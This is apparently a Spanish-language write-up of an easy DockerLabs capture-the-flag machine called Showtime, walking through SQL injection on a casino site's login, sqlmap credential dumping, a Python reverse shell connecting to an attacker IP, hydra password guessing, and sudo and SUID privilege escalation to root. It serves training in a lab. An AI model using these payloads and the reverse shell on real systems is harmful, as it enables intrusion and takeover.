DockerLabs Showtime

DockerLabs Showtime

Esta es una máquina de DockerLabs de nivel fácil

·

5 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos el escaneo de la dirección IP y podemos observar que tiene 2 puertos habilitados.

Al dirigirnos a la dirección web podemos observar que se trata de una página de un casino.

Revisando mucho de los links muchos no tienen uso, el único que parece servir es el de login. Si realizamos un clic sobre este nos lleva a una página de login.

Ingresamos unas credenciales genéricas, pero no las acepta.

Probamos una inyección SQL.

Y obtenemos un error que nos da una idea de que sí es posible realizar una inyección SQL de como proceder.

Probamos diversas consultas, pero no tenemos resultados. Probamos ingresando un # para comentar el resto de la consulta y podemos observar que sí tenemos un resultado interesante.

test' OR 1=1 #

Como primer paso necesitamos saber el número de columnas Pero para facilitar esta situación interceptaremos con BurpSuite. Habilitamos la intercepción.

Habilitamos el proxy.

Enviamos una consulta de prueba.

Una vez enviado podemos observar la petición.

Para poder realizar las peticiones necesarias enviamos al repeater.

Una vez en el repeater podemos dar en send y ver que se envió la petición y en la parte inferior observamos la respuesta y observamos un error

Lo que haremos primero es validar el número de columnas.

Vamos probando y podemos observar que cuando ingresamos la columna 3 recibimos error de credenciales. Dándonos a entender que existen esos números de columnas.

Ya que si ingresamos 4 o un número superior observamos que da un fatal error.

Como ya sabemos que tenemos 3 columnas debemos agregaremos una unión y podemos observar que nos redirige.

Seguimos la redirección y podemos observar que nos muestra nuestra la consulta, pero no el resultado, esto puede ser debido a que está siendo sanitizado o algo similar lo cual realizarlo de esta manera seria bástate largo.

Por ello para agilizar el proceso haremos uso de sqlmap para este paso primero copiamos la captura que realizamos en un archivo .txt

Para obtener resultados con sqlmap usamos los siguientes comandos donde level 5 significa que la búsqueda se hará a un nivel bastante exhaustivo, risk 3 representa que se hará con un nivel de riesgo muy alto y dump es para extraer los datos de las tablas que encuentre.

Una vez ejecutado podemos observar que tenemos el resultado donde observamos que se pudo obtener 3 usuarios y la que nos interesa es la de Joe.

joe:MiClaveEsInhackeable

Ingresamos las credenciales en el login y somos redirigidos a la página de admin donde podemos observar que podemos ejecutar comandos en Python.

Usamos uno de la página revshell.

Debemos quitar el python3, ya que estamos directamente en la consola de Python y lo tendríamos así

import os,pty,socket;s=socket.socket();s.connect(("192.168.0.5",1234));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")

iniciamos nuestro listener

Luego de enviar el comando.

Revisando nuestro listener podemos observar que ya tenemos acceso.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos.

script /dev/null -c bash

Luego un ctrl+z, regresaremos a nuestra consola seguida de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

Listamos los archivos de directorios temporales y en /tmp podemos observar que hay un archivo llamado .hidden_text.txt

Abrimos el archivo es para un tal Martín y son trucos de gta.

Vamos a home para ver si hay ese usuario podemos observar que no existe.

Para validar probamos leyendo el passwd, pero observamos que no existe el usuario.

No olvidemos que en /tmp observamos que había otros 2 archivos uno de ellos era temp_script.py que es el que podemos leer observamos que no nos sirve de mucho. Como no tenemos más alternativas intentaremos probando los comando como si fueran passwords de alguno de los usuarios. Probamos con ambos usuarios, pero vemos que no es posible.

Probaremos convirtiendo todos a minúsculas. Usando Vim podemos hacerlo mediante el siguiente comando

:%s/.*/\L&/

Volvemos a ejecutar hydra y podemos observar que obtuvimos el password de Joe.

Ingresamos como Joe y hacemos un sudo -l y observamos que podemos elevar a Luciano usando el binario posh.

Buscando en GFTOBins observamos el comando y lo que debemos de hacer.

Ingresamos el comando y podemos observar que ya somos Luciano.

Realizamos un sudo -l y podemos observar que para escalar como root debemos usar el script que está en el directorio de Luciano.

Como esta shell es incómoda iniciamos una nueva shell en bash para ello ingresamos script /dev/null -c bash.

Obtenemos una más práctica. Ya en el directorio de Luciano listamos y vemos los permisos de usuario del archivo y podemos observar que podemos modificarlo.

Tratamos de editar el archivo, pero observamos que no disponemos de nano o vim. Así que usaremos el comando "echo". Para ello debemos insertar el siguiente texto así nos genera una nueva shell cuando ejecutemos el script. Notemos que usamos \n\n esto es debido a que debemos hacer saltos de línea, porque si no lo ingresamos el comando no será útil.

echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > script.sh

Una vez ingresado el comando ejecutamos el script y luego ejecutamos bash -p para obtener la shell y podemos observar que obtuvimos acceso como root. De esta manera culminando exitosamente esta máquina.